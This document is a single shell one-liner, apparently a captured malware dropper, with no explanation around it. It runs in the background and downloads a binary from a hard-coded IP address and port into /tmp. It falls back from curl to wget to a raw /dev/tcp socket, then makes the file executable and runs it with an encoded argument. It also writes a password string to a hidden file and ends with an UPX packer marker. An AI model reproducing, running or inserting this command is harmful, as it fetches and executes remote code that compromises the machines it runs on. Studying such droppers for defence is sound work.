nohup $SHELL -c "curl http://117.33.147.39:60149/linux -o /tmp/UcxX4p9pYN; if [ ! -f /tmp/UcxX4p9pYN ]; then wget http://117.33.147.39:60149/linux -O /tmp/UcxX4p9pYN; fi; if [ ! -f /tmp/UcxX4p9pYN ]; then exec 6<>/dev/tcp/117.33.147.39/60149 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/UcxX4p9pYN && chmod +x /tmp/UcxX4p9pYN && /tmp/UcxX4p9pYN HjXooIExhKDiIGN9LeK0hTCCuug1YmUt/r+COZ2/[...]; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/UcxX4p9pYN && /tmp/UcxX4p9pYN HjXooIExhKDiIGN9LeK0hTCCuug1YmUt/r+COZ2/[...]" &#UPX!